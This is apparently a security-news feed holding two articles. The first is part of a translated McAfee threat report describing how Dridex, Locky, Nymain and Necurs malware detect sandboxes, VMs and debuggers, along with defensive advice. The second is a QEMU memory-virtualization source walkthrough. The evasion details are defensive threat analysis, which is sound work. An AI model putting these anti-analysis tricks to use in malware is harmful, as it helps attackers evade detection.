在另一个样本中,Dridex的感染载体试图检测通过检查注册表的键值“HKLM\ SYSTEM\ControlSet001\Services\Disk\Enum”来搜索虚拟环境或沙箱的字符串“VMWARE”或“VBOX”。当虚拟机或沙箱被检测到时,Dridex就停止运行,伪装成无害的,或试图导致系统崩溃。

规避技术广泛用于感染载体,以避免检测和被分析师识别。在攻击的多个阶段,Dridex通过结合多种技术来避免检测和分析。


【安全报告】McAfee Labs 威胁报告 2017.06 (上)

图9:在这个例子中,Dridex使用进程挖空的规避技术,将恶意代码注入到一个挂起的进程中。然后一个新的进程去调用rundll32.exe,将恶意的DLL加载到explorer.exe。

最近的”Dridex”样本使用了新的规避技术“AtomBombing”。这种技术使用Atom表,由操作系统提供,允许应用程序存储和访问数据。 Atom表也可用于在应用程序之间共享数据。。

将恶意代码注入Atom表,并强制使用合法的应用程序执行该代码。因为用于注入恶意代码的技术是众所周知、且容易被发现的,所以攻击者现在改变了他们的技术。

最后,Dridex的最终载荷通常使用混淆和加密来保护数据,例如控制服务器的URL、僵尸网络的信息和恶意二进制代码中包含的PC名称。

Locky勒索软件

在2016年新近加入的勒索软件家族之中,当属Locky最为突出。它使用许多方法感染系统。它的一些规避技术与Dridex类似。


【安全报告】McAfee Labs 威胁报告 2017.06 (上)

图 10:Locky的感染载体用统一编码与随机字符串函数的基本混淆处理。(哈希: 2c01d031623aada362d9cc9c7573b6ab)

在前面的例子中,抗混淆几乎不起作用,因为它很容易会被反Unicode,即一种用于不同格式打印文本的编码标准。此代码段中的每个统一编码字符都对应一个ASCII字符。


【安全报告】McAfee Labs 威胁报告 2017.06 (上)

图11— 12:在这个抗混淆的感染载体中,其代码从一个外部URL下载EXE文件到TEMP文件夹中。

其他Locky的样本在多个阶段使用XOR加密,来规避检测并绕过邮件过滤和web网关。

一些Locky的变种还使用到了Nullsoft Scriptable Install System(NSIS)压缩文件。在恶意软件试图绕过反恶意软件引擎时,该合法的应用程序经常被使用到。NSIS文件可以直接被解压缩以获取其内容。


【安全报告】McAfee Labs 威胁报告 2017.06 (上)

图 13:在此Locky样本中,我们可以看到很多旨在浪费分析时间的垃圾文件。所有这些文件被NSIS程序所压缩。其中只有一些被用来在目标系统上执行恶意操作。(哈希: 5bcbbb492cc2db1628985a5ca6d09613)

除了混淆可执行的格式,Locky还使用tricks来绕过防火墙和控制服务器的网络。一些Locky的变种会使用到Domain generation algorithm,即一种允许动态创建域的技术。Locky作者在每一次攻击活动中都会更改和更新其规避技术。

在2016年8月,Locky开始使用一个命令行参数来规避自动化的沙盒分析。如果没有命令行,此样本将不会运行在系统之上和其载荷也将不会被解码成到内存之中。


【安全报告】McAfee Labs 威胁报告 2017.06 (上)

图 14:在此样本中,命令行参数"123"通过感染载体被传递到javascript文件。然后,由 windows API -- GetCommandLine和 CommandLineToArgvW读取命令行参数。(哈希: 0fed77b29961c0207bb4b7b033ca3fd4)

此样本的参数被用于解密并解压载荷到内存之中。如果该参数不正确,该样本只会在其试图运行加密的代码时崩溃。

Locky和其他恶意软件的另一个技巧是通过读Read Time Stamp Counter(RDTSC)的x86指令来检测虚拟环境。时间戳计数器记录着被重置以来的处理器周期的数量。RDTSC指令只是返回存储在寄存器edx:eax中的该计数器的数值。

在物理主机上,两个连续的RDTSC指令只占有少量的周期。而在虚拟主机上,此数量的周期将会变大。如果返回的值不是预期的值,该样本会进入休眠状态。


【安全报告】McAfee Labs 威胁报告 2017.06 (上)

图 15: Windows API调用GetProcessHeap和CloseHandle的指令用于增加处理器的周期(基于周期的指令IPC,可估算处理器的性能)。Locky比较其数值,如果执行CloseHandle比GetProcessHeap多10倍的周期,恶意软件则得出结论自己是运行在虚拟机中。(哈希: 0bf7315a2378d6b051568b59a7a0195a)

Nymain下载者

Nymain提供木马或勒索类型的恶意软件。Nymain使用多种规避机制以规避分析和检测。它是具有混淆处理和沙箱检测,以及活动计时器等多种反逆向工程技术的组合。

大多数恶意软件使用假的metadata以假装合法。metadata包括文件版本、公司名称和语言等程序有关的信息。而其他样本则使用被盗的证书来假装合法。


【安全报告】McAfee Labs 威胁报告 2017.06 (上)

图 16:Nymain使用的metadata。(哈希: 98bdab0e8f581a3937b538d73c96480d)


【安全报告】McAfee Labs 威胁报告 2017.06 (上)

图 17:Nymain使用反调试技巧,来规避调试器的动态分析。

最常见、也是最容易绕过的函数是IsDebuggerPresent。其代码调用Windows API,并在寄存器中设置一个值。如果该值不是等于零,则该程序目前正在被调试。在这种情况下,恶意软件将很快终止与API TerminateProcess的进程。另一种旁路调试器的技巧叫做 FindWindow。如果一个窗口与调试器有关,例如OllyDbg或Immunity Debugger,则此API会检测到它并关闭其恶意软件。

Nymain还执行如下额外的检查,以规避分析:

检查日期,并在攻击结束后不再执行。

检查系统上是否有恶意软件文件名的哈希值。如果有,则分析可能正在进行中。

检查与虚拟环境相关的 MAC 地址。

检查注册表项HKLM\HARDWARE\Description\System\”SystemBiosVersion”的键值,以查找字符串"VBOX"。

插入垃圾代码,导致反汇编"code spaghetti"。

使用Domain generation algorithm来规避网络检测。

Necurs木马

Necurs 是一个木马程序,它可以控制系统并传递给其他恶意软件。Necurs是最大的僵尸网络之一,在2016年已拥有超过600万个节点。Necurs于2016年开始传播Locky。


【安全报告】McAfee Labs 威胁报告 2017.06 (上)

图18:Necurs采用多种机制来规避检测和分析。(哈希: 22d745954263d12dfaf393a802020764)


【安全报告】McAfee Labs 威胁报告 2017.06 (上)

图 19:CPUID指令返回有关CPU的信息,并允许恶意软件来检测它自己是否运行在虚拟环境之中。如果是的话,该恶意软件肯定不会运行了。


【安全报告】McAfee Labs 威胁报告 2017.06 (上)

图 20: 第二种规避技术使用Windows API调用GetTickCount来检索系统已启动的时间。它然后执行几个操作并再次检索消耗的时间。这种技术用于检测调试工具。如果检索的时间比预期要长,那么该文件目前正在被调试。恶意软件将终止该进程或导致系统崩溃。


【安全报告】McAfee Labs 威胁报告 2017.06 (上)

图 21: 一种老但仍然有效的规避技术是查询VMware所使用的输入/输出的通信端口。恶意软件可以使用magic number “VMXh”与x86“IN”指令来查询这个端口。在执行期间,该IN指令被限制在虚拟机中进行仿真。从指令返回的结果被存储在寄存器ebx中,然后与magic number "VMXh"相比较。如果结果匹配,恶意软件则是运行在VMware之上,它将终止该进程或试图导致系统崩溃。


【安全报告】McAfee Labs 威胁报告 2017.06 (上)

图 22:VMCPUID 指令类似于CPUID,不过该指令只执行在某些虚拟机之上。如果不执行VMCPUID指令,它会导致系统崩溃,以防止虚拟机的分析。


【安全报告】McAfee Labs 威胁报告 2017.06 (上)

图23:VPCEXT指令(可视属性的容器扩展器)是另一种被Necurs用来检测虚拟系统的抗虚拟机的技巧。这种技术并无相关记录,且只有几个僵尸主机使用。如果该指令的执行不生成异常的话,则判定恶意软件运行虚拟机之上。

Fileless malware

一些恶意软件感染系统并非将文件写入磁盘,并以此来规避许多类型的检测。我们曾在 McAfee Labs威胁报告:2015年11月首次提及Fileless malware。

现在,我们发现了被用作感染载体的PowerShell。在一个样本中,一个简单的JavaScript 文件运行一个经过混淆处理的PowerShell命令,从一个外部的IP地址下载已经包装过的文件。该文件绕过所有保护将恶意的DLL注入到合法的进程之中。这种恶意软件类型并非完全没有文件,但它是仍然非常有效。

下面的样本(哈希: f8b63b322b571f8deb9175c935ef56b4)显示了感染的过程:


【安全报告】McAfee Labs 威胁报告 2017.06 (上)

图24:PowerShell 命令下载NSIS的打包文件(agzabf.exe、哈希: c52950316a6d5bb7ecb65d37e8747b46),将monkshood.dll(哈希: 895c6a498afece5020b3948c1f0801a2) 注入到进程explorer.exe中。在这里使用的规避技术是DLL注入,它将代码注入到正在运行的进程中。

规避技术趋势

最常见的规避技术包括:

混淆处理:保护数据、变量和网络通信,随机化变量或函数的名称。它可以使用XOR或任何其他编码技术来执行。

环境检查:规避分析,恶意软件检测与虚拟环境相关的工具或工序。

沙箱检测:恶意软件执行磁盘检查,以检测与沙箱相关的文件或进程。

以下的统计来自Virus Total和McAfee,这些样本取自已知的、含有沙盒规避的技术。

沙箱规避技术


【安全报告】McAfee Labs 威胁报告 2017.06 (上)

恶意软件使用许多其他技术以规避检查。检测监测和Windows钩子(更改内部Windows 功能的行为)十分常见。提升权限对于禁用反恶意软件的工具、或是需要管理员权限来执行其他操作来说十分普遍。

其他规避技术


【安全报告】McAfee Labs 威胁报告 2017.06 (上)

信息安全行业正在开发出新的、基于机器学习的检测技术。它能够检验行为,并对可执行文件是否恶意进行了预测。


【安全报告】McAfee Labs 威胁报告 2017.06 (上)

图 25:对机器学习的兴趣一直在稳步增长。 资料来源: 谷歌趋势。

信息安全行业对机器学习高度感兴趣,攻击者亦然。今年3月,安全研究人员观察到了第一个恶意软件样本--Cerber勒索软件, 其规避检测就是基于机器学习的。Cerber在感染的每个阶段都使用到多个文件,动态地将它们注入正在运行的进程之中。这些攻击者所面临的挑战是:机器学习用来检测恶意文件的方式是基于特征,而非签名。在此样本中,Cerber使用单独的加载器来注入载荷,而不是在其中运行一个例程。虽然不是靠传统的反恶意软件引擎,但是这种技术却能允许Cerber通过机器学习,以未被发现的方式运行。

另一个日益增长的规避技术是固件感染,我们预测:攻击物联网的设备将会非常的普遍。

将恶意代码插入固件是一直非常有效的、规避检测的方式。固件的恶意软件可以控制许多系统组件,包括键盘、麦克风和文件系统。操作系统不能检测到它,因为感染发生在Ring-1,即内核的最深处,恶意软件可以享有许多特权,而且几乎没有什么对安全的检查。


【安全报告】McAfee Labs 威胁报告 2017.06 (上)

为了检测到这种威胁,并轻松地分析固件,McAfee高级威胁研究(McAfee Advanced Threat Research)发布了开源工具--Chipsec。你可以通过检查白名单,来查找固件是否已被如下的命令所破坏:


【安全报告】McAfee Labs 威胁报告 2017.06 (上)

图26:用Chipsec框架来扫描转存固件。


【安全报告】McAfee Labs 威胁报告 2017.06 (上)

图 27: 用比对白名单,来检查扫描转存的固件,以检测任何被修改之处。


针对规避类恶意软件的保护

为了更好地应对规避类恶意软件,首当其冲就是要学习有关恶意软件的规避技术。

我们要基于如下三个基本部分,来建立安全的程序,以防护规避类恶意软件。

人员:安全从业人员必须接受培训,正确应对安全事件并正确的掌握当前的安全技术。攻击者通常使用社会工程来感染用户。如果没有内部的宣传和培训,用户很可能会将自己的Windows系统留给攻击者胡作非为。

流程:结构清晰,内部流程必须到位,以提高安全从业人员的效率。安全最佳实践(更新、备份、治理、情报、事件响应计划等)是造就一个强大且有效的安全团队的关键要素。

技术:技术能给团队和流程提供支持。为了能够适应新的威胁,技术应持续培训和增强。


有效的策略和程序,以保护免受恶意软件的攻击

应对恶意软件的感染,最重要防御来自用户。用户必须意识到,下载和安装来自具有潜在风险资源的应用程序,所带来的风险。用户也必须认识到,恶意软件可能会在浏览网页时被无意中进行下载。

始终保持web浏览器和其加载项的更新,不断升级终端和网关上的反病毒软件到最新的版本。

不许将那些并非来自企业IT安全团队,或是未被其认证过系统连接到受信任的网络之中。规避类恶意软件会很容易从未受保护的系统扩散到受信任的网络中。

规避类恶意软件可以被攻击者用木马的方式隐藏在合法的软件之内。为了防止此类攻击的得逞,我们强烈建议使用加强的软件交付和分发机制。企业建立一个应用程序的中央存储库,以便用户从中下载已批准的软件。这种方式始终是一种最佳实践。

如果碰到用户要求被授权去安装那些未被IT安全团对事先验证过的应用程序的情况,应该教育用户只安装那些来自已知的卖家、且有受信任的签名的应用程序。网上提供的、许多看似"无害的"应用程序,其进程往往会嵌入了规避类恶意软件。

避免应用程序下载一下非web类型的资源。从Usenet组、IRC频道、即时通讯的客户端或端对端系统等途径,下载到恶意软件的可能性是非常高的。IRC和即时通讯软件中的网站链接也经常会指向一些恶意软件的下载。

实施针对网络钓鱼攻击的预防教育方案,因为恶意软件通常通过网络钓鱼攻击来进行传播。

利用威胁情报源与反恶意软件技术相结合。这种结合将有助于加快威胁的检测。


结论

恶意软件为了执行其恶意操作,必须保持隐蔽且不会被检测到。随着信息安全技术变得越来越复杂,规避技术的复杂程度也有所跟进。这种竞争催生了一个强大的、且具有最好规避技术的地下市场,同时也包括一些完全无法被检测到的恶意软件。它们其中一些服务甚至使用到了信息安全行业至今所未知的规避技术。

恶意软件的规避技术将继续发展,而且如今已经被部署到了攻击的任何阶段。如前面的Dridex和Locky所示,它们中的一些虽使用相同的技术来传播,但都能够规避分析与检测。而传统的规避技巧仍被一些知名的恶意软件所广泛使用着,并发挥着效力。

为了防止规避类恶意软件,我们必须首先了解它们。我们必须研究每一个案例,以探究安全技术为什么没能成功阻止攻击的深层原因。



【安全报告】McAfee Labs 威胁报告 2017.06 (上)
【安全报告】McAfee Labs 威胁报告 2017.06 (上)
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://www.mcafee.com/us/resources/reports/rp-quarterly-threats-jun-2017.pdf

【技术分享】QEMU内存虚拟化源码分析

$
0
0
【技术分享】QEMU内存虚拟化源码分析

2017-07-12 10:10:48

阅读:377次
点赞(0)
收藏
来源: 安全客





【技术分享】QEMU内存虚拟化源码分析

作者:360GearTeam





【技术分享】QEMU内存虚拟化源码分析

作者:Terenceli @ 360 Gear Team

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


传送门

【技术分享】探索QEMU-KVM中PIO处理的奥秘


内存虚拟化就是为虚拟机提供内存,使得虚拟机能够像在物理机上正常工作,这需要虚拟化软件为虚拟机展示一种物理内存的假象,内存虚拟化是虚拟化技术中关键技术之一。qemu+kvm的虚拟化方案中,内存虚拟化是由qemu和kvm共同完成的。qemu的虚拟地址作为guest的物理地址,一句看似轻描淡写的话幕后的工作确实非常多,加上qemu本身可以独立于kvm,成为一个完整的虚拟化方案,所以其内存虚拟化更加复杂。本文试图全方位的对qemu的内存虚拟化方案进行源码层面的介绍。本文主要介绍qemu在内存虚拟化方面的工作,之后的文章会介绍内存kvm方面的内存虚拟化。


零. 概述

内存虚拟化就是要让虚拟机能够无缝的访问内存,这个内存哪里来的,qemu的进程地址空间分出来的。有了ept之后,CPU在vmx non-root状态的时候进行内存访问会再做一个ept转换。在这个过程中,qemu扮演的角色。1. 首先需要去申请内存用于虚拟机; 2. 需要将虚拟1中申请的地址的虚拟地址与虚拟机的对应的物理地址告诉给kvm,就是指定GPA->HVA的映射关系;3. 需要组织一系列的数据结构去管理控制内存虚拟化,比如,设备注册需要分配物理地址,虚拟机退出之后需要根据地址做模拟等等非常多的工作,由于qemu本身能够支持tcg模式的虚拟化,会显得更加复杂。

首先明确内存虚拟化中QEMU和KVM工作的分界。KVM的ioctl中,设置虚拟机内存的为KVM_SET_USER_MEMORY_REGION,我们看到这个ioctl需要传递的参数是:

/*forKVM_SET_USER_MEMORY_REGION*/ structkvm_userspace_memory_region{ __u32slot; __u32flags; __u64guest_phys_addr; __u64memory_size;/*bytes*/ __u64userspace_addr;/*startoftheuserspaceallocatedmemory*/ };

这个ioctl主要就是设置GPA到HVA的映射。看似简单的工作在qemu里面却很复杂,下面逐一剖析之。


一. 相关数据结构

首先,qemu中用AddressSpace用来表示CPU/设备看到的内存,一个AddressSpace下面包含多个MemoryRegion,这些MemoryRegion结构通过树连接起来,树的根是AddressSpace的root域。

structAddressSpace{ /*Allfieldsareprivate.*/ structrcu_headrcu; char*name; MemoryRegion*root; intref_count; boolmalloced; /*AccessedviaRCU.*/ structFlatView*current_map; intioeventfd_nb; structMemoryRegionIoeventfd*ioeventfds; structAddressSpaceDispatch*dispatch; structAddressSpaceDispatch*next_dispatch; MemoryListenerdispatch_listener; QTAILQ_HEAD(memory_listeners_as,MemoryListener)listeners; QTAILQ_ENTRY(AddressSpace)address_spaces_link; }; structMemoryRegion{ Objectparent_obj; /*Allfieldsareprivate-violatorswillbeprosecuted*/ /*Thefollowingfieldsshouldfitinacacheline*/ boolromd_mode; boolram; boolsubpage; boolreadonly;/*ForRAMregions*/ boolrom_device; boolflush_coalesced_mmio; boolglobal_locking; uint8_tdirty_log_mask; RAMBlock*ram_block; ... constMemoryRegionOps*ops; void*opaque; MemoryRegion*container; Int128size; hwaddraddr; ... MemoryRegion*alias; hwaddralias_offset; int32_tpriority; QTAILQ_HEAD(subregions,MemoryRegion)subregions; QTAILQ_ENTRY(MemoryRegion)subregions_link; QTAILQ_HEAD(coalesced_ranges,CoalescedMemoryRange)coalesced; ... };

MemoryRegion有多种类型,可以表示一段ram,rom,MMIO,alias,alias表示一个MemoryRegion的一部分区域,MemoryRegion也可以表示一个container,这就表示它只是其他若干个MemoryRegion的容器。在MemoryRegion中,'ram_block'表示的是分配的实际内存。

structRAMBlock{ structrcu_headrcu; structMemoryRegion*mr; uint8_t*host; ram_addr_toffset; ram_addr_tused_length; ram_addr_tmax_length; void(*resized)(constchar*,uint64_tlength,void*host); uint32_tflags; /*Protectedbyiothreadlock.*/ charidstr[256]; /*RCU-enabled,writesprotectedbytheramlistlock*/ QLIST_ENTRY(RAMBlock)next; intfd; size_tpage_size; };

在这里,'host'指向了动态分配的内存,用于表示实际的虚拟机物理内存,而offset表示了这块内存在虚拟机物理内存中的偏移。每一个ram_block还会被连接到全局的'ram_list'链表上。Address, MemoryRegion, RAMBlock关系如下图所示。


【技术分享】QEMU内存虚拟化源码分析

AddressSpace下面root及其子树形成了一个虚拟机的物理地址,但是在往kvm进行设置的时候,需要将其转换为一个平坦的地址模型,也就是从0开始的。这个就用FlatView表示,一个AddressSpace对应一个FlatView。

structFlatView{ structrcu_headrcu; unsignedref; FlatRange*ranges; unsignednr; unsignednr_allocated; };

在FlatView中,FlatRange表示按照需要被切分为了几个范围。

在内存虚拟化中,还有一个重要的结构是MemoryRegionSection,这个结构通过函数section_from_flat_range可由FlatRange转换过来。

structMemoryRegionSection{ MemoryRegion*mr; AddressSpace*address_space; hwaddroffset_within_region; Int128size; hwaddroffset_within_address_space; boolreadonly; };

MemoryRegionSection表示的是MemoryRegion的一部分。这个其实跟FlatRange差不多。这几个数据结构关系如下:


【技术分享】QEMU内存虚拟化源码分析

为了监控虚拟机的物理地址访问,对于每一个AddressSpace,会有一个MemoryListener与之对应。每当物理映射(GPA->HVA)发生改变时,会回调这些函数。所有的MemoryListener都会挂在全局变量memory_listeners链表上。同时,AddressSpace也会有一个链表连接器自己注册的MemoryListener。

structMemoryListener{ void(*begin)(MemoryListener*listener); void(*commit)(MemoryListener*listener); void(*region_add)(MemoryListener*listener,MemoryRegionSection*section); void(*region_del)(MemoryListener*listener,MemoryRegionSection*section); void(*region_nop)(MemoryListener*listener,MemoryRegionSection*section); void(*log_start)(MemoryListener*listener,MemoryRegionSection*section, intold,intnew); void(*log_stop)(MemoryListener*listener,MemoryRegionSection*section, intold,intnew); void(*log_sync)(MemoryListener*listener,MemoryRegionSection*section); void(*log_global_start)(MemoryListener*listener); void(*log_global_stop)(MemoryListener*listener); void(*eventfd_add)(MemoryListener*listener,MemoryRegionSection*section, boolmatch_data,uint64_tdata,EventNotifier*e); void(*eventfd_del)(MemoryListener*listener,MemoryRegionSection*section, boolmatch_data,uint64_tdata,EventNotifier*e); void(*coalesced_mmio_add)(MemoryListener*listener,MemoryRegionSection*section, hwaddraddr,hwaddrlen); void(*coalesced_mmio_del)(MemoryListener*listener,MemoryRegionSection*section, hwaddraddr,hwaddrlen); /*Lower=earlier(duringadd),later(duringdel)*/ unsignedpriority; AddressSpace*address_space; QTAILQ_ENTRY(MemoryListener)link; QTAILQ_ENTRY(MemoryListener)link_as; };

为了在虚拟机退出时,能够顺利根据物理地址找到对应的HVA地址,qemu会有一个AddressSpaceDispatch结构,用来在AddressSpace中进行位置的找寻,继而完成对IO/MMIO地址的访问。

structAddressSpaceDispatch{ structrcu_headrcu; MemoryRegionSection*mru_section; /*Thisisamulti-levelmaponthephysicaladdressspace. *ThebottomlevelhaspointerstoMemoryRegionSections. */ PhysPageEntryphys_map; PhysPageMapmap; AddressSpace*as; };

这里面有一个PhysPageMap,这其实也是保存了一个GPA->HVA的一个映射,通过多层页表实现,当kvm exit退到qemu之后,通过这个AddressSpaceDispatch里面的map查找对应的MemoryRegionSection,继而找到对应的主机HVA。这几个结构体的关系如下:


【技术分享】QEMU内存虚拟化源码分析

下面对流程做一些分析。


二. 初始化

首先在main->cpu_exec_init_all->memory_map_init中对全局的memory和io进行初始化,system_memory作为address_space_memory的根MemoryRegion,大小涵盖了整个64位空间的大小,当然,这是一个pure contaner,并不会分配空间的,system_io作为address_space_io的根MemoryRegion,大小为65536,也就是平时的io port空间。

staticvoidmemory_map_init(void) { system_memory=g_malloc(sizeof(*system_memory)); memory_region_init(system_memory,NULL,"system",UINT64_MAX); address_space_init(&address_space_memory,system_memory,"memory"); system_io=g_malloc(sizeof(*system_io)); memory_region_init_io(system_io,NULL,&unassigned_io_ops,NULL,"io", 65536); address_space_init(&address_space_io,system_io,"I/O"); }

在随后的cpu初始化之中,还会初始化多个AddressSpace,这些很多都是disabled的,对虚拟机意义不大。重点在随后的main->pc_init_v2_8->pc_init1->pc_memory_init中,这里面是分配系统ram,也是第一次真正为虚拟机分配物理内存。整个过程中,分配内存也不会像MemoryRegion那么频繁,mr很多时候是创建一个alias,指向已经存在的mr的一部分,这也是alias的作用,就是把一个mr分割成多个不连续的mr。真正分配空间的大概有这么几个,pc.ram, pc.bios, pc.rom, 以及设备的一些ram, rom等,vga.vram, vga.rom, e1000.rom等。

分配pc.ram的流程如下:

memory_region_allocate_system_memory allocate_system_memory_nonnuma memory_region_init_ram qemu_ram_alloc ram_block_add phys_mem_alloc qemu_anon_ram_alloc qemu_ram_mmap mmap

可以看到,qemu通过使用mmap创建一个内存映射来作为ram。

继续pc_memory_init,函数在创建好了ram并且分配好了空间之后,创建了两个mr alias,ram_below_4g以及ram_above_4g,这两个mr分别指向ram的低4g以及高4g空间,这两个alias是挂在根system_memory mr下面的。以后的情形类似,创建根mr,创建AddressSpace,然后在根mr下面加subregion。


三. 内存的提交

当我们每一次更改上层的内存布局之后,都需要通知到kvm。这个过程是通过一系列的MemoryListener来实现的。首先系统有一个全局的memory_listeners,上面挂上了所有的MemoryListener,在address_space_init->address_space_init_dispatch->memory_listener_register这个过程中完成MemoryListener的注册。

voidaddress_space_init_dispatch(AddressSpace*as) { as->dispatch=NULL; as->dispatch_listener=(MemoryListener){ .begin=mem_begin, .commit=mem_commit, .region_add=mem_add, .region_nop=mem_add, .priority=0, }; memory_listener_register(&as->dispatch_listener,as); }

这里有初始化了listener的几个回调,他们的的调用时间之后讨论。 值得注意的是,并不是只有AddressSpace初始化的时候会注册回调,kvm_init同样会注册回调。

staticintkvm_init(MachineState*ms) { ... kvm_memory_listener_register(s,&s->memory_listener, &address_space_memory,0); memory_listener_register(&kvm_io_listener, &address_space_io); ... } voidkvm_memory_listener_register(KVMState*s,KVMMemoryListener*kml, AddressSpace*as,intas_id) { inti; kml->slots=g_malloc0(s->nr_slots*sizeof(KVMSlot)); kml->as_id=as_id; for(i=0;i<s->nr_slots;i++){ kml->slots[i].slot=i; } kml->listener.region_add=kvm_region_add; kml->listener.region_del=kvm_region_del; kml->listener.log_start=kvm_log_start; kml->listener.log_stop=kvm_log_stop; kml->listener.log_sync=kvm_log_sync; kml->listener.priority=10; memory_listener_register(&kml->listener,as); }

在这里我们看到kvm也注册了自己的MemoryListener。

在上面看到MemoryListener之后,我们看看什么时候需要更新内存。 进行内存更新有很多个点,比如我们新创建了一个AddressSpace address_space_init,再比如我们将一个mr添加到另一个mr的subregions中memory_region_add_subregion,再比如我们更改了一端内存的属性memory_region_set_readonly,将一个mr设置使能或者非使能memory_region_set_enabled, 总之一句话,我们修改了虚拟机的内存布局/属性时,就需要通知到各个Listener,这包括各个AddressSpace对应的,以及kvm注册的,这个过程叫做commit,通过函数memory_region_transaction_commit实现。

voidmemory_region_transaction_commit(void) { AddressSpace*as; assert(memory_region_transaction_depth); --memory_region_transaction_depth; if(!memory_region_transaction_depth){ if(memory_region_update_pending){ MEMORY_LISTENER_CALL_GLOBAL(begin,Forward); QTAILQ_FOREACH(as,&address_spaces,address_spaces_link){ address_space_update_topology(as); } MEMORY_LISTENER_CALL_GLOBAL(commit,Forward); }elseif(ioeventfd_update_pending){ QTAILQ_FOREACH(as,&address_spaces,address_spaces_link){ address_space_update_ioeventfds(as); } } memory_region_clear_pending(); } } #defineMEMORY_LISTENER_CALL_GLOBAL(_callback,_direction,_args...)\ do{\ MemoryListener*_listener;\ \ switch(_direction){\ caseForward:\ QTAILQ_FOREACH(_listener,&memory_listeners,link){\ if(_listener->_callback){\ _listener->_callback(_listener,##_args);\ }\ }\ break;\ caseReverse:\ QTAILQ_FOREACH_REVERSE(_listener,&memory_listeners,\ memory_listeners,link){\ if(_listener->_callback){\ _listener->_callback(_listener,##_args);\ }\ }\ break;\ default:\ abort();\ }\ }while(0) MEMORY_LISTENER_CALL_GLOBAL对memory_listeners上的各个MemoryListener调用指定函数。commit中最重要的是address_space_update_topology调用。 staticvoidaddress_space_update_topology(AddressSpace*as) { FlatView*old_view=address_space_get_flatview(as); FlatView*new_view=generate_memory_topology(as->root); address_space_update_topology_pass(as,old_view,new_view,false); address_space_update_topology_pass(as,old_view,new_view,true); /*WritesareprotectedbytheBQL.*/ atomic_rcu_set(&as->current_map,new_view); call_rcu(old_view,flatview_unref,rcu); /*NotethatalltheoldMemoryRegionsarestillaliveuptothis *point.ThisrelievesmostMemoryListenersfromtheneedto *ref/unreftheMemoryRegionstheyget---unlesstheyusethem *outsidetheiothreadmutex,inwhichcaseprecisereference *countingisnecessary. */ flatview_unref(old_view); address_space_update_ioeventfds(as); }

前面我们已经说了,as->root会被展开为一个FlatView,所以在这里update topology中,首先得到上一次的FlatView,之后调用generate_memory_topology生成一个新的FlatView,

staticFlatView*generate_memory_topology(MemoryRegion*mr) { FlatView*view; view=g_new(FlatView,1); flatview_init(view); if(mr){ render_memory_region(view,mr,int128_zero(), addrrange_make(int128_zero(),int128_2_64()),false); } flatview_simplify(view); returnview; }

最主要的是render_memory_region生成view,这个render函数很复杂,需要递归render子树,具体以后有机会单独讨论。在生成了view之后会调用flatview_simplify进行简化,主要是合并相邻的FlatRange。在生成了当前as的FlatView之后,我们就可以更新了,这在函数address_space_update_topology_pass中完成,这个函数就是逐一对比新旧FlatView的差别,然后进行更新。

staticvoidaddress_space_update_topology_pass(AddressSpace*as, constFlatView*old_view, constFlatView*new_view, booladding) { unsignediold,inew; FlatRange*frold,*frnew; /*Generateasymmetricdifferenceoftheoldandnewmemorymaps. *Killrangesintheoldmap,andinstantiaterangesinthenewmap. */ iold=inew=0; while(iold<old_view->nr||inew<new_view->nr){ if(iold<old_view->nr){ frold=&old_view->ranges[iold]; }else{ frold=NULL; } if(inew<new_view->nr){ frnew=&new_view->ranges[inew]; }else{ frnew=NULL; } if(frold &&(!frnew ||int128_lt(frold->addr.start,frnew->addr.start) ||(int128_eq(frold->addr.start,frnew->addr.start) &&!flatrange_equal(frold,frnew)))){ /*Inoldbutnotinnew,orinbothbutattributeschanged.*/ if(!adding){ MEMORY_LISTENER_UPDATE_REGION(frold,as,Reverse,region_del); } ++iold; }elseif(frold&&frnew&&flatrange_equal(frold,frnew)){ /*Inbothandunchanged(exceptloggingmayhavechanged)*/ if(adding){ MEMORY_LISTENER_UPDATE_REGION(frnew,as,Forward,region_nop); if(frnew->dirty_log_mask&~frold->dirty_log_mask){ MEMORY_LISTENER_UPDATE_REGION(frnew,as,Forward,log_start, frold->dirty_log_mask, frnew->dirty_log_mask); } if(frold->dirty_log_mask&~frnew->dirty_log_mask){ MEMORY_LISTENER_UPDATE_REGION(frnew,as,Reverse,log_stop, frold->dirty_log_mask, frnew->dirty_log_mask); } } ++iold; ++inew; }else{ /*Innew*/ if(adding){ MEMORY_LISTENER_UPDATE_REGION(frnew,as,Forward,region_add); } ++inew; } } }

最重要的当然是MEMORY_LISTENER_UPDATE_REGION宏,这个宏会将每一个FlatRange转换为一个MemoryRegionSection,之后调用这个as对应的各个MemoryListener的回调函数。这里我们以kvm对象注册Listener为例,从kvm_memory_listener_register,我们看到其region_add回调为kvm_region_add。

staticvoidkvm_region_add(MemoryListener*listener, MemoryRegionSection*section) { KVMMemoryListener*kml=container_of(listener,KVMMemoryListener,listener); memory_region_ref(section->mr); kvm_set_phys_mem(kml,section,true); }

这个函数看似复杂,主要是因为,需要判断变化的各种情况是否与之前的重合,是否是脏页等等情况。我们只看最开始的情况。

staticvoidkvm_set_phys_mem(KVMMemoryListener*kml, MemoryRegionSection*section,booladd) { KVMState*s=kvm_state; KVMSlot*mem,old; interr; MemoryRegion*mr=section->mr; boolwriteable=!mr->readonly&&!mr->rom_device; hwaddrstart_addr=section->offset_within_address_space; ram_addr_tsize=int128_get64(section->size); void*ram=NULL; unsigneddelta; /*kvmworksinpagesizechunks,butthefunctionmaybecalled withsub-pagesizeandunalignedstartaddress.Padthestart addresstonextandtruncatesizetopreviouspageboundary.*/ delta=qemu_real_host_page_size-(start_addr&~qemu_real_host_page_mask); delta&=~qemu_real_host_page_mask; if(delta>size){ return; } start_addr+=delta; size-=delta; size&=qemu_real_host_page_mask; if(!size||(start_addr&~qemu_real_host_page_mask)){ return; } if(!memory_region_is_ram(mr)){ if(writeable||!kvm_readonly_mem_allowed){ return; }elseif(!mr->romd_mode){ /*Ifthememorydeviceisnotinromd_mode,thenweactuallywant *toremovethekvmmemoryslotsoallaccesseswilltrap.*/ add=false; } } ram=memory_region_get_ram_ptr(mr)+section->offset_within_region+delta; ... if(!size){ return; } if(!add){ return; } mem=kvm_alloc_slot(kml); mem->memory_size=size; mem->start_addr=start_addr; mem->ram=ram; mem->flags=kvm_mem_flags(mr); err=kvm_set_user_memory_region(kml,mem); if(err){ fprintf(stderr,"%s:errorregisteringslot:%s\n",__func__, strerror(-err)); abort(); } }

